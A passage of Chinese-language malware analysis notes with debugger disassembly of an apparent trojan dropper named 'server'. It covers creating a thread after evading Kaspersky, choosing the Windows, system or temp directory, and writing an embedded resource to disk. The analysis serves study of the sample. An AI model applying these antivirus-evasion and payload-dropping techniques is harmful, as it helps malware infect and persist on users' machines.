004091AA |. 6A 00 push 0 ; |CreationFlags = 0
004091AC |. 6A 00 push 0 ; |pThreadParm = NULL
004091AE |. 68 78914000 push 00409178 ; |ThreadFunction = server.00409178
004091B3 |. 6A 00 push 0 ; |StackSize = 0
004091B5 |. 6A 00 push 0 ; |pSecurity = NULL
004091B7 |. E8 58BCFFFF call <jmp.&kernel32.CreateThread> ; /CreateThread
使用计时器反复获得信息，最后如果成功跳过kaspersky则createthread.
得到系统目录：
当然前面还有个getversion,用于判断是winnt还是windows目录。
004091FF |> /68 00010000 push 100 ; /BufSize = 100 (256.); Case 0 of switch 004091F3
00409204 |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
0040920A |. 50 push eax ; |Buffer
0040920B |. E8 CCBCFFFF call <jmp.&kernel32.GetWindowsDirecto>; /GetWindowsDirectoryA
00409210 |. EB 24 jmp short 00409236
00409212 |> 68 00010000 push 100 ; /BufSize = 100 (256.); Case 1 of switch 004091F3
00409217 |. 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; |
0040921D |. 50 push eax ; |Buffer
0040921E |. E8 99BCFFFF call <jmp.&kernel32.GetSystemDirector>; /GetSystemDirectoryA
00409223 |. EB 11 jmp short 00409236
00409225 |> 8D85 00FFFFFF lea eax, dword ptr [ebp-100] ; Case 2 of switch 004091F3
0040922B |. 50 push eax ; /Buffer
0040922C |. 68 00010000 push 100 ; |BufSize = 100 (256.)
00409231 |. E8 8EBCFFFF call <jmp.&kernel32.GetTempPathA> ; /GetTempPathA
00409236 |> 83FB 02 cmp ebx, 2 ; Default case of switch 004091F3
最后：
004092FC |. 50 push eax ; |ResourceName
004092FD |. A1 60C64000 mov eax, dword ptr [40C660] ; |
00409302 |. 50 push eax ; |hModule => NULL
00409303 |. E8 4CBBFFFF call <jmp.&kernel32.FindResourceA> ; /FindResourceA
00409308 |. 8BD8 mov ebx, eax
0040930A |. 85DB test ebx, ebx
0040930C |. 74 67 je short 00409375
0040930E |. 53 push ebx ; /hResource
0040930F |. A1 60C64000 mov eax, dword ptr [40C660] ; |
00409314 |. 50 push eax ; |hModule => NULL
00409315 |. E8 D2BBFFFF call <jmp.&kernel32.LoadResource> ; /LoadResource
0040931A |. 85C0 test eax, eax
0040931C |. 74 57 je short 00409375
0040931E |. 50 push eax ; /hResource
0040931F |. E8 D0BBFFFF call <jmp.&kernel32.LockResource> ; /LockResource
00409324 |. 8BF8 mov edi, eax
00409326 |. 53 push ebx ; /hResource
00409327 |. A1 60C64000 mov eax, dword ptr [40C660] ; |
0040932C |. 50 push eax ; |hModule => NULL
0040932D |. E8 D2BBFFFF call <jmp.&kernel32.SizeofResource> ; /SizeofResource
00409332 |. 8BD8 mov ebx, eax
00409334 |. 85FF test edi, edi
00409336 |. 74 3D je short 00409375
00409338 |. 6A 00 push 0
0040933A |. 68 80000000 push 80
0040933F |. 6A 02 push 2
00409341 |. 6A 00 push 0
00409343 |. 6A 00 push 0
00409345 |. 68 000000C0 push C0000000
0040934A |. 8B45 F4 mov eax, dword ptr [ebp-C]
0040934D |. E8 06AEFFFF call 00404158
00409352 |. 50 push eax ; |FileName
00409353 |. E8 B4BAFFFF call <jmp.&kernel32.CreateFileA> ; /CreateFileA
00409358 |. 8BF0 mov esi, eax
0040935A |. 83FE FF cmp esi, -1
0040935D |. 74 16 je short 00409375
0040935F |. 6A 00 push 0 ; /pOverlapped = NULL
00409361 |. 8D45 EC lea eax, dword ptr [ebp-14] ; |
00409364 |. 50 push eax ; |pBytesWritten
00409365 |. 53 push ebx ; |nBytesToWrite
00409366 |. 57 push edi ; |Buffer
00409367 |. 56 push esi ; |hFile
00409368 |. E8 AFBBFFFF call <jmp.&kernel32.WriteFile> ; /WriteFile
0040936D |. 85C0 test eax, eax
0040936F |. 74 04 je short 00409375
00409371 |. C645 F3 01 mov byte ptr [ebp-D], 1
00409375 |> 83FE FF cmp esi, -1
00409378 |. 74 06 je short 00409380
0040937A |. 56 push esi ; /hObject
0040937B |. E8 7CBAFFFF call <jmp.&kernel32.CloseHandle> ; /CloseHandle
创建文件，关闭句柄。